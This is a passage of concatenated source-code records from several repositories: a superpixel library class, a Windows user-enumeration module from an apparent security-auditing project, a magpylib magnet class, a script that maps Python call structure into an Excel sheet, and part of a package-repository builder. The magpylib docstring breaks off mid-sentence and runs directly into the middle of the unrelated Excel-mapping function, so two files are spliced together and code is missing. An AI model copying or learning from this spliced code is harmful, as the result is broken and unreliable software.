'standard'\n real_dist_type = 'l2'\n\nclass SlicRealDistNoQ(SlicRealDist):\n arch_name = 'standard'\n real_dist_type = 'noq'\n\n def __init__(self, *args, **kwargs):\n float_color = kwargs.pop(\"float_color\", True)\n super(SlicRealDistNoQ, self).__init__(*args, **kwargs)\n self._slic_model.float_color = float_color\n\nclass LSC(SlicRealDist):\n arch_name = 'standard'\n real_dist_type = 'lsc'\n", "source": "Algy/fast-slic", "license": "MIT"} {"text": "from wpc.user import user\nimport win32net\nimport wpc.conf\nimport pywintypes\n\n\nclass users():\n def __init__(self):\n self.users = []\n\n def get_filtered(self, ):\n if self.users == []:\n try:\n level = 1\n resume = 0\n while True:\n userlist, total, resume = win32net.NetUserEnum(wpc.conf.remote_server, level, 0, resume, 999999)\n #print u\n for u in userlist:\n # self.users.append(user['name'])\n #try:\n sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name'])\n self.users.append(user(sid))\n #except:\n # print \"[E] failed to lookup sid of %s\" % user['name']\n if resume == 0:\n break\n except pywintypes.error as e:\n print \"[E] %s: %s\" % (e[1], e[2])\n return self.users\n\n def get_all(self):\n if self.users == []:\n try:\n level = 0\n resume = 0\n while True:\n userlist, total, resume = win32net.NetUserEnum(wpc.conf.remote_server, level, 0, resume, 999999)\n #print u\n for u in userlist:\n # self.users.append(user['name'])\n #try:\n sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name'])\n self.users.append(user(sid))\n #except:\n # print \"[E] failed to lookup sid of %s\" % user['name']\n if resume == 0:\n break\n except pywintypes.error as e:\n print \"[E] %s: %s\" % (e[1], e[2])\n return self.users\n", "source": "cys3c/viper-shell", "license": "PSF-2.0"} {"text": "\"\"\"Magnet Cylinder class code\nDOCSTRINGS V4 READY\n\"\"\"\nimport numpy as np\n\nfrom magpylib._src.input_checks import check_format_input_cylinder_segment\nfrom magpylib._src.obj_classes.class_BaseDisplayRepr import BaseDisplayRepr\nfrom magpylib._src.obj_classes.class_BaseExcitations import BaseHomMag\nfrom magpylib._src.obj_classes.class_BaseGeo import BaseGeo\nfrom magpylib._src.obj_classes.class_BaseGetBH import BaseGetBH\n\n\nclass CylinderSegment(BaseGeo, BaseDisplayRepr, BaseGetBH, BaseHomMag):\n \"\"\"Cylinder segment (ring-section) magnet with homogeneous magnetization.\n\n Can be used as `sources` input for magnetic field computation.\n\n When `position=(0,0,0)` and `orientation=None` the geometric center of the\n cylinder lies in the origin of the global coordinate system and\n the cylinder axis conincides with the global z-axis. Section angle 0\n corresponds to an x-z plane section of the cylinder.\n\n Parameters\n ----------\n magnetization: array_like, shape (3,), default=`None`\n Magnetization vector (mu0*M, remanence field) in units of [mT] given in\n the local object coordinates (rotates with object).\n\n dimension: array_like, shape (5,), default=`None`\n Dimension/Size of the cylinder segment of the form (r1, r2, h, phi1, phi2)\n where r11, the\n `position` and `orientation` attributes together represent an object path.\n\n orientation: scipy `Rotation` object with length 1 or m, default=`None`\n Object orientation(s) in the global coordinates. `None` corresponds to\n a unit-rotation. For m>1, the `position` and `orientation` attributes\n together represent an object path.\n\n parent: `Collection` object or `None`\n The object is a child of it's parent collection.\n\n style: dict\n Object style inputs must be in dictionary form, e.g. `{'color':'red'}` or\n using style underscore magic, e.g. `style_color='red'`.\n\n Returns\n -------\n magnet source: `CylinderSegment` object\n\n Examples\n --------\n `CylinderSegment` magnets are magnetic field sources. In this example we compute the\n H-field [kA/m] of such a cylinder segment magnet with magnetization (100,200,300)\n in units of [mT], inner radius 1 [mm], outer radius 2 [mm], height 1 [mm], and\n section angles 0 and 45 [deg] at the observer position (2,2,2) in units of [mm]:\n\n >>> import magpylib as magpy\n >>> src = magpy.magnet.CylinderSegment(magnetization=(100,200,300), dimension=(1,2,1,0,45))\n >>> H = src.getH((2,2,2))\n >>> print(H)\n [0.80784692 1.93422813 2.74116805]\n\n We rotate the source object, and compute the B-field, this time at a set of observer positions:\n\n >>> src.rotate_from_angax(45, 'x')\n CylinderSegment(id=...)\n >>> B = src.getB([(1,1,1), (2,2,2), (3,3,3)])\n >>> print(B)\n [[-32.82849635 30.15882073 -16.32885658]\n [ 0.62876075 3.97579164 0.73297829]\n [ 0.25439493 0.74331628 0.11682542]]\n\n The same result is obtained when the rotated source moves along a path away from an\n observer at position (1,1,1). Here we use a `Sensor` object as observer.\n\n >>> sens = magpy.Sensor(position=(1,1,1))\n >>> src.move([(-1,-1,-1), (-2,-2,-2)])\n CylinderSegment(id=...)\n >>> B = src.getB(sens)\n >>> print(B)\n [[-32.82849635 30.15882073 -16.32885658]\n [ 0.62876075 3.97579164 0.73297829]\n [ 0.25439493 0.74331628 0.11682542]]\n \"\"\"\n\n def __init__(\n self,\n magnetization=None,\n dimension=None,\n position=(0, 0, 0),\n orientation=None,\n style=None,\n **kwargs,\n ):\n\n # instance attributes\n self.dimension = dimension\n self._object_type = \"CylinderSegment\"\n\n # init inheritance\n BaseGeo.__init__(self, position, orientation, style=style, **kwargs)\n BaseDisplayRepr.__init__(self)\n BaseHomMag.__init__(self, magnetization)\n\n # property getters and setters\n @property\n def dimension(self):\n \"\"\"\n Dimension/Size of the cylinder segment of the form (r1, r2, h, phi1, phi2)\n where r1 len(from_file_list):\n\n # When the next from file does not exist\n file_last.write(' |' + '\\r')\n file_last.write(' ' + str(import_method) + '()\\r')\n\n else:\n # When there is the next from file\n file_last.write(' | |' + '\\r')\n file_last.write(' | ' + str(import_method) + '()\\r')\n\n from_file_list_next = from_file_list_export(str(from_file_list[int(num)][0]) + '.py')\n # \u30d5\u30a1\u30a4\u30eb\u306f\u5b58\u5728\u3057\u3066\u308b\uff1f ./ core.pdftoxml.py\n if not os.path.exists('./' + str(from_file_list[int(num)][0]) + '.py'):\n\n # no \u2192 .\u304c\u3044\u304f\u3064\u3042\u308b\uff1f reak.core.pdftoxml\n if (str(from_file_list[int(num)][0])).count('.') == 0:\n\n continue\n elif (str(from_file_list[int(num)][0])).count('.') == 1:\n\n # 1\u500b\u3042\u308b\u3068\u304d\u3000\u4e0a\u306e\u968e\u5c64\u306b\u305d\u306e.\u5de6\u5074\u30d5\u30a9\u30eb\u30c0\u304c\u3042\u308b\uff1fcore\n if os.path.exists('../../' + (str(from_file_list[int(num)][0])).split('.')[0]):\n # \u4e0a\u306e\u968e\u5c64\u306b\u3042\u3063\u305f\n\n print('../../' + (str(from_file_list[int(num)][0])).split('.')[0])\n if not os.path.exists('../../' + (str(from_file_list[int(num)][0])).split('.')[0] + '/' + (str(from_file_list[int(num)][0])).split('.')[1] + '.py'):\n continue\n else:\n with open('../../' + (str(from_file_list[int(num)][0])).split('.')[0] + '/' + (str(from_file_list[int(num)][0])).split('.')[1] + '.py', encoding='utf-8', errors='ignore') as f:\n\n for line_ch in f:\n # print(line_ch)\n if from_file_list_next == [[]]:\n continue\n for num_ffln, from_file_list_next_ch in enumerate(from_file_list_next):\n\n if from_file_list_next_ch[1].strip() in line_ch:\n method_name = from_file_list_next_ch[1].strip()\n print('from_file_list_next_ch[1].strip()\u25a0\u25a0\u25a0\uff1a', from_file_list_next_ch[1].strip())\n print('line_ch\u25a0\u25a0\u25a0:', line_ch)\n\n if re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch)):\n # print('Bingo\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01')\n\n # In addition. Extracted from commas (because there were things up to parentheses)\n method_text = re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch))\n\n if int(num_ffln) + 1 == len(from_file_list_next):\n # When the next from file does not exist\n file_last.write(' | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' |' + '\\r')\n file_last.write(' ' + str(method_name) + '()\\r')\n else:\n # When there is the next from file\n file_last.write(' | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' | | |' + '\\r')\n file_last.write(' | | ' + str(method_name) + '()\\r')\n else:\n # \u4e0a\u306e\u968e\u5c64\u306b\u306a\u304b\u3063\u305f\n continue\n else:\n # .\u304c2\u500b\u4ee5\u4e0a\u3000\u4eca\u306e\u4ed5\u69d8\u3067\u306f\u30b9\u30ad\u30c3\u30d7\n continue\n # str(from_file_list[int(num)][0]) + '.py' 's str(import_method) + '()' 's Read to the next method\n print(\"'./' + str(from_file_list[int(num)][0]) + '.py':\", './' + str(from_file_list[int(num)][0]) + '.py')\n\n file_name = str(from_file_list[int(num)][0]) + '.py'\n if file_name[:-3].count('.') == 1:\n #file_name = '../../' + file_name[:-3].split('.')[0] + '/' + file_name[:-3].split('.')[1] + '.py'\n path = Path(__file__).parent # swritructure.py\u306e\u3042\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\n path /= '../../' + file_name[:-3].split('.')[0]\n file_name = str(path.resolve()) + '\\\\' + file_name[:-3].split('.')[1] + '.py'\n\n #file_name = file_name[:-3].split('.')[1] + '.py'\n #aaa = sys.path.append(str(Path('__file__').resolve().parent.parent))\n \n with open(file_name, encoding='utf-8', errors='ignore') as f:\n\n for line_ch in f:\n # print(line_ch)\n # If def comes at the beginning, it's coming to the next method, so skip it.\n if (line_ch.strip())[:3] == 'def':\n continue\n if from_file_list_next == [[]]:\n continue\n for num_ffln, from_file_list_next_ch in enumerate(from_file_list_next):\n \n if from_file_list_next_ch[1].strip() in line_ch:\n method_name = from_file_list_next_ch[1].strip()\n # There is a py file name in from in the corresponding line read\n #if from_file_list_next_ch[1].strip() + '(' in line_ch:\n # When there is something in front, there is a half-width space after the specified method name, and there is something after it\n if re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch)):\n # print('Bingo\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01')\n\n # In addition. Extracted from commas (because there were things up to parentheses)\n method_text = re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch))\n\n if int(num_ffln) + 1 == len(from_file_list_next):\n # When the next from file does not exist\n file_last.write(' | | |' + '\\r')\n file_last.write(' | | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' | | |' + '\\r')\n file_last.write(' | | ' + str(method_name) + '()\\r')\n else:\n # When there is the next from file\n file_last.write(' | | |' + '\\r')\n file_last.write(' | | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' | | | |' + '\\r')\n file_last.write(' | | | ' + str(method_name) + '()\\r')\n else:\n\n import_method = from_file_list[int(num)][1]\n\n # After importing into one\n import_method = import_method.strip() # Eliminate front and back blanks\n\n if int(num) + 1 > len(from_file_list):\n\n # When the next from file does not exist\n file_last.write(' |' + '\\r')\n file_last.write(' ' + str(import_method) + '()\\r')\n\n else:\n # When there is the next from file\n file_last.write(' | |' + '\\r')\n file_last.write(' | ' + str(import_method) + '()\\r')\n\n from_file_list_next = from_file_list_export(str(from_file_list[int(num)][0]) + '.py')\n # \u30d5\u30a1\u30a4\u30eb\u306f\u5b58\u5728\u3057\u3066\u308b\uff1f ./ core.pdftoxml.py\n print('|||||||||||||||||||||./' + str(from_file_list[int(num)][0]) + '.py')\n #print('bbbb:', os.path.exists('./' + str(from_file_list[int(num)][0]) + '.py'))\n\n if not os.path.exists('./' + str(from_file_list[int(num)][0]) + '.py'):\n\n # no \u2192 .\u304c\u3044\u304f\u3064\u3042\u308b\uff1f reak.core.pdftoxml\n if (str(from_file_list[int(num)][0])).count('.') == 0:\n continue\n elif (str(from_file_list[int(num)][0])).count('.') == 1:\n\n # 1\u500b\u3042\u308b\u3068\u304d\u3000\u4e0a\u306e\u968e\u5c64\u306b\u305d\u306e.\u5de6\u5074\u30d5\u30a9\u30eb\u30c0\u304c\u3042\u308b\uff1fcore\n if os.path.exists('../../' + (str(from_file_list[int(num)][0])).split('.')[0]):\n # \u4e0a\u306e\u968e\u5c64\u306b\u3042\u3063\u305f\n\n print('../../' + (str(from_file_list[int(num)][0])).split('.')[0])\n if not os.path.exists('../../' + (str(from_file_list[int(num)][0])).split('.')[0] + '/' + (str(from_file_list[int(num)][0])).split('.')[1] + '.py'):\n continue\n else:\n with open('../../' + (str(from_file_list[int(num)][0])).split('.')[0] + '/' + (str(from_file_list[int(num)][0])).split('.')[1] + '.py', encoding='utf-8', errors='ignore') as f:\n\n for line_ch in f:\n # print(line_ch)\n if from_file_list_next == [[]]:\n continue\n for num_ffln, from_file_list_next_ch in enumerate(from_file_list_next):\n\n if from_file_list_next_ch[1].strip() in line_ch:\n\n method_name = from_file_list_next_ch[1].strip()\n print('from_file_list_next_ch[1].strip()\u25a0\u25a0\u25a0\uff1a', from_file_list_next_ch[1].strip())\n print('line_ch\u25a0\u25a0\u25a0:', line_ch)\n\n if re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch)):\n # print('Bingo\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01')\n\n # In addition. Extracted from commas (because there were things up to parentheses)\n method_text = re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch))\n\n if int(num_ffln) + 1 == len(from_file_list_next):\n # When the next from file does not exist\n file_last.write(' | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' |' + '\\r')\n file_last.write(' ' + str(method_name) + '()\\r')\n else:\n # When there is the next from file\n file_last.write(' | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' | | |' + '\\r')\n file_last.write(' | | ' + str(method_name) + '()\\r')\n else:\n # \u4e0a\u306e\u968e\u5c64\u306b\u306a\u304b\u3063\u305f\n continue\n else:\n # .\u304c2\u500b\u4ee5\u4e0a\u3000\u4eca\u306e\u4ed5\u69d8\u3067\u306f\u30b9\u30ad\u30c3\u30d7\n continue\n\n else:\n with open('./' + str(from_file_list[int(num)][0]) + '.py', encoding='utf-8', errors='ignore') as f:\n \n for line_ch in f:\n # print(line_ch)\n\n for num_ffln, from_file_list_next_ch in enumerate(from_file_list_next):\n\n if from_file_list_next_ch[1].strip() in line_ch:\n method_name = from_file_list_next_ch[1].strip()\n print('from_file_list_next_ch[1].strip()\u25a0\u25a0\u25a0\uff1a', from_file_list_next_ch[1].strip())\n print('line_ch\u25a0\u25a0\u25a0:', line_ch)\n\n if re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch)):\n # print('Bingo\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01')\n\n # In addition. Extracted from commas (because there were things up to parentheses)\n method_text = re.search(rf'\\b(?=\\w)(.*?){method_name}(.*?)\\((.*?)(?!\\w)', str(line_ch))\n\n if int(num_ffln) + 1 == len(from_file_list_next):\n # When the next from file does not exist\n file_last.write(' | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' |' + '\\r')\n file_last.write(' ' + str(method_name) + '()\\r')\n else:\n # When there is the next from file\n file_last.write(' | \u221f' + str(from_file_list_next_ch[0]) + '.py\\r')\n file_last.write(' | | |' + '\\r')\n file_last.write(' | | ' + str(method_name) + '()\\r')\n\n # When there is only one import\n import_method = from_file_list[int(num)][1].strip() # Eliminate front and back blanks\n \n if int(num) + 1 == len(from_file_list):\n # When the next from file does not exist\n file_last.write(' |' + '\\r')\n file_last.write(' ' + str(import_method) + '()\\r')\n else:\n # When there is the next from file\n file_last.write(' | |' + '\\r')\n file_last.write(' | ' + str(import_method) + '()\\r')\n\n file_last.close()\n print('\u25c6\u25c6\u25c6\u25c6\u25c6\u25c6structure_bone.txt is output. Please confirm.\u25c6\u25c6\u25c6\u25c6\u25c6\u25c6')\n\n link_list = []\n with open('./structure_bone.txt', newline='') as test_file:\n str_data_list = list(csv.reader(test_file, delimiter='~'))\n\n # '\u221f'\u304c\u3044\u304f\u3064\u3042\u308b\u304b\u3067\u72b6\u6cc1\u5224\u65ad\u30001\u500b\u3060\u3051\u305d\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u6a2a\u6700\u5927\u6587\u5b57\u5217\u6e2c\u308b\uff08\u30d5\u30a1\u30a4\u30eb\u540d\u63a2\u3001\u30e1\u30bd\u30c3\u30c9\u540d\u63a2\uff09\u30002\u500b\u3060\u3051\u306e\u3068\u304d\u3082\u540c\u69d8\u30003\u500b\u30004\u500b\u3000\u307e\u305a\u5168\u8cbc\u308a\u4ed8\u3051\u7bc4\u56f2\u78ba\u8a8d\n #\u3000\u4e00\u500b\u306e\u6642\u306e\u3092\u7e26\u306e\u9806\u3067\u8cbc\u308a\u4ed8\u3051\u3001\u6b21\u306b\u4e8c\u500b\u306e\u3092\u9806\u3067\u8cbc\u308a\u4ed8\u3051\u30003\u500b\u30004\u500b\n #\u3000\u30e1\u30bd\u30c3\u30c9\u540d\u3067\u7dda\u3067\u7d10\u3065\u3051\u63cf\u5199\n second_file_name = []\n first_method_name = []\n third_file_name = []\n second_method_name = []\n\n # structure_bone.txt\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30e1\u30bd\u30c3\u30c9\u540d\u306e\u4f4d\u7f6e\u60c5\u5831\u3068\u4f55\u756a\u76ee\u306b\u51fa\u73fe\u304b\u3092\u62bd\u51fa\n for dl_num, record in enumerate(str_data_list):\n if dl_num == 0 or dl_num == 1:\n continue\n if (record[0].replace(' \u221f','')).count(' ') == 0:\n second_file_name.append(record[0].replace(' \u221f',''))\n if (record[0].replace(' | ','')).count(' ') == 0:\n first_method_name.append(record[0].replace(' | ','').replace('()',''))\n if (record[0].replace(' | | \u221f','')).count(' ') == 0:\n third_file_name.append(record[0].replace(' | | \u221f',''))\n if (record[0].replace(' | | | ','')).count(' ') == 0:\n if not '()' in record[0].replace(' | | | ',''):\n continue\n second_method_name.append(record[0].replace(' | | | ','').replace('()',''))\n\n all_file_name_ch = []\n all_file_name = []\n # \u4e0a\u8a18\u62bd\u51fa\u3057\u305f\u3082\u306e\u30922\u6b21\u5143\u30ea\u30b9\u30c8\u3078\n for sfn_num, second_file_name_in in enumerate(second_file_name):\n print('second file:', second_file_name_in + ' ' + str(sfn_num + 1))\n all_file_name_ch.append('second file:')\n all_file_name_ch.append(second_file_name_in)\n all_file_name_ch.append(str(sfn_num + 1))\n all_file_name.append(all_file_name_ch)\n all_file_name_ch = []\n for sfn_num, first_method_name_in in enumerate(first_method_name):\n print('first method:', first_method_name_in + ' ' + str(sfn_num + 1))\n all_file_name_ch.append('first method:')\n all_file_name_ch.append(first_method_name_in)\n all_file_name_ch.append(str(sfn_num + 1))\n all_file_name.append(all_file_name_ch)\n all_file_name_ch = []\n for sfn_num, third_file_name_in in enumerate(third_file_name):\n print('third file:', third_file_name_in + ' ' + str(sfn_num + 1))\n all_file_name_ch.append('third file:')\n all_file_name_ch.append(third_file_name_in)\n all_file_name_ch.append(str(sfn_num + 1))\n all_file_name.append(all_file_name_ch)\n all_file_name_ch = []\n for sfn_num, second_method_name_in in enumerate(second_method_name):\n print('second method:', second_method_name_in + ' ' + str(sfn_num + 1))\n all_file_name_ch.append('second method:')\n all_file_name_ch.append(second_method_name_in)\n all_file_name_ch.append(str(sfn_num + 1))\n all_file_name.append(all_file_name_ch)\n all_file_name_ch = []\n\n\n\n def file_paste(link_list, wb, data_list, file_name, start_r, max_char_len, start_c, file_kind):\n ori_data_list = data_list\n # \u30b7\u30fc\u30c8\u3092\u53d6\u5f97\n ws = wb['Sheet']\n # legth research\n data_list = []\n try:\n print('file_name:', file_name)\n\n\n\n if file_name[:-3].count('.') == 1:\n\n #file_name = '../../' + file_name[:-3].split('.')[0] + '/' + file_name[:-3].split('.')[1] + '.py'\n path = Path(__file__).parent # swritructure.py\u306e\u3042\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\n path /= '../../' + file_name[:-3].split('.')[0]\n file_name = str(path.resolve()) + '\\\\' + file_name[:-3].split('.')[1] + '.py'\n #file_name = file_name[:-3].split('.')[1] + '.py'\n\n #aaa = sys.path.append(str(Path('__file__').resolve().parent.parent))\n\n with open(file_name, newline='', encoding='utf-8') as test_file:\n data_list = list(csv.reader(test_file, delimiter='~'))\n print('data_list[0]:', data_list[0])\n\n except:\n print('third file open error')\n return wb, ori_data_list, start_r, max_char_len, start_c\n\n # list []\u524a\u9664\n new_data_list = []\n for data_list_in in data_list:\n if data_list_in != []:\n new_data_list.append(data_list_in)\n data_list = new_data_list\n \n data_list.insert(0,[file_name])\n\n # \u30c7\u30fc\u30bf\u306e\u66f8\u304d\u8fbc\u307f\n for record in data_list:\n if max_char_len < int(len(str(record)) / 10) + 3:\n max_char_len = int(len(str(record)) / 10) + 3\n\n # horizontal\u306f\u8abf\u6574\u3044\u308b\n # max_char_len = int(max_char_len / 10) - 1\n print('max_char_len:', max_char_len)\n # print(str(max_char_len)) # horizontal\n # print(str(len(data_list))) # vertical\n \n max_rows_len = start_r + int(len(data_list))\n\n # \u6307\u5b9a\u80cc\u666f\u8272 https://pg-chain.com/python-excel-color\n new_fill = px.styles.PatternFill(patternType='solid', fgColor='000000', bgColor='000000')\n # \u6307\u5b9a\u6587\u5b57\u8272\n new_font = px.styles.fonts.Font(color='FFFFFF')\n\n\n for dl_num, data_list_in in enumerate(data_list):\n # if data_list_in == []:\n # ws.cell(row=start_r+3+dl_num,column=start_c).value = ''\n # ws.cell(row=start_r+3+dl_num,column=start_c).font = new_font\n # for max_char_len_in in range(max_char_len):\n # ws.cell(row=start_r+3+dl_num, column=start_c+max_char_len_in).fill = new_fill\n # continue\n if dl_num == 0:\n ws.cell(row=start_r+3+dl_num,column=start_c).value = data_list_in[0]\n continue \n # print('data_list_in[0]:', data_list_in[0])\n # pdb.set_trace()\n ws.cell(row=start_r+3+dl_num,column=start_c).value = data_list_in[0]\n # above file under method ['second method:', 'checkGaiyouGessu', '35']\n for all_file_name_in in all_file_name:\n if file_kind == 1:\n # first(main) file\u306e\u3068\u304d\n if 'first method:'== all_file_name_in[0]:\n method_arg = all_file_name_in[1] + '('\n for method_arg in data_list_in[0]:\n link_list.append('1')\n link_list.append(all_file_name_in[1])\n\n link_list.append(str(dl_num))\n elif file_kind == 2:\n # second file\u306e\u3068\u304d\n\n if 'second method:'== all_file_name_in[0]:\n method_arg = all_file_name_in[1] + '('\n for method_arg in data_list_in[0]:\n link_list.append('2')\n link_list.append(all_file_name_in[1])\n link_list.append(str(dl_num))\n elif file_kind == 3:\n # second file\u306e\u3068\u304d\n if 'third method:'== all_file_name_in[0]:\n method_arg = all_file_name_in[1] + '('\n for method_arg in data_list_in[0]:\n link_list.append('3')\n link_list.append(all_file_name_in[1])\n link_list.append(str(dl_num))\n\n ws.cell(row=start_r+3+dl_num,column=start_c).font = new_font\n for max_char_len_in in range(max_char_len):\n ws.cell(row=start_r+3+dl_num, column=start_c+max_char_len_in).fill = new_fill\n \n wb.save('./structure.xlsx')\n\n print('\u3053\u308c\u304c\u30b5\u30fc\u30c9\u30d5\u30a1\u30a4\u30eb\u306e\u53f3\u5217', max_char_len)\n print('\u3053\u308c\u304c\u30b5\u30fc\u30c9\u30d5\u30a1\u30a4\u30eb\u8cbc\u308a\u4ed8\u3051\u6e08\u307f\u306e\u884c\u6570:', max_rows_len)\n print('\uff54\uff54\uff54\uff54\uff54\uff54\uff54')\n return wb, data_list, max_rows_len, max_char_len, start_c\n\n data_list = []\n # \u30d6\u30c3\u30af\u3092\u53d6\u5f97\n wb = px.Workbook()\n file_name = arg_1 # \u521d\u3081\u3060\u3051\u6307\u5b9a\u3000arg_1\n\n # wb, data_list, max_char_len = main_file_paste(wb, data_list, file_name, 1, 1)\n start_c = 1\n max_rows_len = 1\n max_char_len = 0\n file_kind = 1 # first(main) file \u2192 1, second file \u2192 2, third file \u2192 3, fourth file \u2192 4\n wb, data_list, max_rows_len, max_char_len, start_c = file_paste(link_list, wb, data_list, file_name, max_rows_len, max_char_len, start_c, file_kind)\n\n main_last_char_len = max_char_len\n wb.close()\n\n wb = px.load_workbook('./structure.xlsx')\n\n # from second file\n max_rows_len = 1\n flag_first_second = 0\n flag_first_third = 0\n\n for all_file_name_in in all_file_name:\n #first_method_count = 0\n if all_file_name_in[0] == 'second file:':\n # 1\u56de\u76ee\u3060\u3051\u30b9\u30bf\u30fc\u30c8\u306e\u59cb\u70b9\uff08\u6a2a\uff09\u306e\u8abf\u6574\u3092\u884c\u3046\n\n if flag_first_second == 0:\n flag_first_second += 1\n start_c = main_last_char_len + 1\n max_rows_len = 1\n max_char_len = 0\n file_kind = 2\n print('max_rows_len', max_rows_len)\n print('max_char_len', max_char_len)\n # second file \u306e\u5217\u306e\u30b3\u30fc\u30c9\u3092\u8ffd\u52a0\u3057\u3066\u3044\u304f\n wb, data_list, max_rows_len, max_char_len, start_c = file_paste(link_list, wb, data_list, all_file_name_in[1], max_rows_len, max_char_len, start_c, file_kind)\n\n if all_file_name_in[0] == 'third file:':\n # 1\u56de\u76ee\u3060\u3051\u30b9\u30bf\u30fc\u30c8\u306e\u59cb\u70b9\uff08\u6a2a\uff09\u306e\u8abf\u6574\u3092\u884c\u3046\n if flag_first_third == 0:\n flag_first_third += 1\n second_last_char_len = max_char_len\n start_c = main_last_char_len + second_last_char_len + 1\n max_rows_len = 1\n max_char_len = 0\n file_kind = 3\n print('max_rows_len', max_rows_len)\n print('max_char_len', max_char_len)\n # second file \u306e\u5217\u306e\u30b3\u30fc\u30c9\u3092\u8ffd\u52a0\u3057\u3066\u3044\u304f\n wb, data_list, max_rows_len, max_char_len, start_c = file_paste(link_list, wb, data_list, all_file_name_in[1], max_rows_len, max_char_len, start_c, file_kind)\n\n # side = Side(style='thin')\n # border = Border(top=side, bottom=side, left=side, right=side)\n # font_title = Font(name='\u30e1\u30a4\u30ea\u30aa', size=20)\n\n\n # ws['A1'].font = font_title\n\n # ws['A2'] = ''\n # ws['A2'].font = font_title\n\n # ws.cell(row=len(df_new)+5, column=1).value = ''\n # ws.cell(row=len(df_new)+5, column=1).font = font_title\n # for i in range(1, len(ws.max_column)+1): # \u3053\u3053\u304c\u3046\u307e\u304f\u3044\u304d\u307e\u305b\u3093\n # ws.cell(row=len(df_new)+6, columnns=i).border = border\n\nif __name__ == \"__main__\":\n args = sys.argv\n # \u7b2c\u4e00\u5f15\u6570\n # try:\n arg_1 = args[1]\n get_structure(arg_1)\n # except:\n # print('Please write \"python swritructure \" or other reason')\n", "source": "taotaotao3/swritructure", "license": "MIT"} {"text": "# Copyright (c) 2021 The Toltec Contributors\n# SPDX-License-Identifier: MIT\n\"\"\"\nBuild the package repository.\n\"\"\"\n\nfrom datetime import datetime\nimport gzip\nfrom enum import Enum, auto\nimport logging\nimport os\nimport textwrap\nfrom typing import Dict, Iterable, List, Optional, Set\nimport requests\nfrom .graphlib import TopologicalSorter\nfrom .recipe import GenericRecipe, Package\nfrom .util import file_sha256, group_by, HTTP_DATE_FORMAT\nfrom .version import DependencyKind\nfrom . import templating\n\nlogger = logging.getLogger(__name__)\n\n\nclass PackageStatus(Enum):\n \"\"\"Possible existence statuses of a built package.\"\"\"\n\n # The package already existed in the local filesystem before the build\n AlreadyExists = auto()\n\n # The package was fetched from a remote repository\n Fetched = auto()\n\n # The package is missing both from the local filesystem and the remote repo\n Missing = auto()\n\n\nGroupedPackages = Dict[PackageStatus, Dict[str, Dict[str, List[Package]]]]\n\n\nclass Repo:\n \"\"\"Repository of Toltec packages.\"\"\"\n\n def __init__(self, recipe_dir: str, repo_dir: str) -> None:\n \"\"\"\n Initialize a package repository.\n\n :param recipe_dir: directory where recipe definitions are stored\n :param repo_dir: directory where built packages are stored\n \"\"\"\n self.recipe_dir = recipe_dir\n self.repo_dir = repo_dir\n self.generic_recipes = {}\n\n for name in os.listdir(self.recipe_dir):\n if name[0] != \".\":\n self.generic_recipes[name] = GenericRecipe.from_file(\n os.path.join(self.recipe_dir, name)\n )\n\n def fetch_packages(self, remote: Optional[str]) -> GroupedPackages:\n \"\"\"\n Fetch locally missing packages from a remote server and report which\n packages are missing from the remote and need to be built locally.\n\n If `remote` is None, no packages are fetched from the network and all\n the packages that are not in the local repo will be considered missing.\n\n :param remote: remote server from which to check for existing packages\n :returns: tuple containing fetched and missing packages grouped by\n their parent recipe and architecture\n \"\"\"\n logger.info(\"Scanning for missing packages\")\n results: GroupedPackages = {\n PackageStatus.Fetched: {},\n PackageStatus.Missing: {},\n }\n\n for name, generic_recipe in self.generic_recipes.items():\n fetched_generic = {}\n missing_generic = {}\n\n for arch, recipe in generic_recipe.recipes.items():\n fetched_arch = []\n missing_arch = []\n\n for package in recipe.packages.values():\n status = self.fetch_package(package, remote)\n\n if status == PackageStatus.Fetched:\n fetched_arch.append(package)\n elif status == PackageStatus.Missing:\n logger.info(\n \"Package %s (%s) is missing\",\n package.pkgid(),\n recipe.name,\n )\n missing_arch.append(package)\n\n if fetched_arch:\n fetched_generic[arch] = fetched_arch\n\n if missing_arch:\n missing_generic[arch] = missing_arch\n\n if fetched_generic:\n results[PackageStatus.Fetched][name] = fetched_generic\n\n if missing_generic:\n results[PackageStatus.Missing][name] = missing_generic\n\n return results\n\n def fetch_package(\n self, package: Package, remote: Optional[str]\n ) -> PackageStatus:\n \"\"\"\n Check if a package exists locally and fetch it otherwise.\n\n :param package: package to fetch\n :param remote: remote server from which to check for existing packages\n :param fetch_missing: pass true to fetch missing packages from remote\n :returns: new status of the package\n \"\"\"\n filename = package.filename()\n local_path = os.path.join(self.repo_dir, filename)\n\n if os.path.isfile(local_path):\n return PackageStatus.AlreadyExists\n\n if remote is None:\n return PackageStatus.Missing\n\n remote_path = os.path.join(remote, filename)\n\n req = requests.get(remote_path)\n\n if req.status_code != 200:\n return 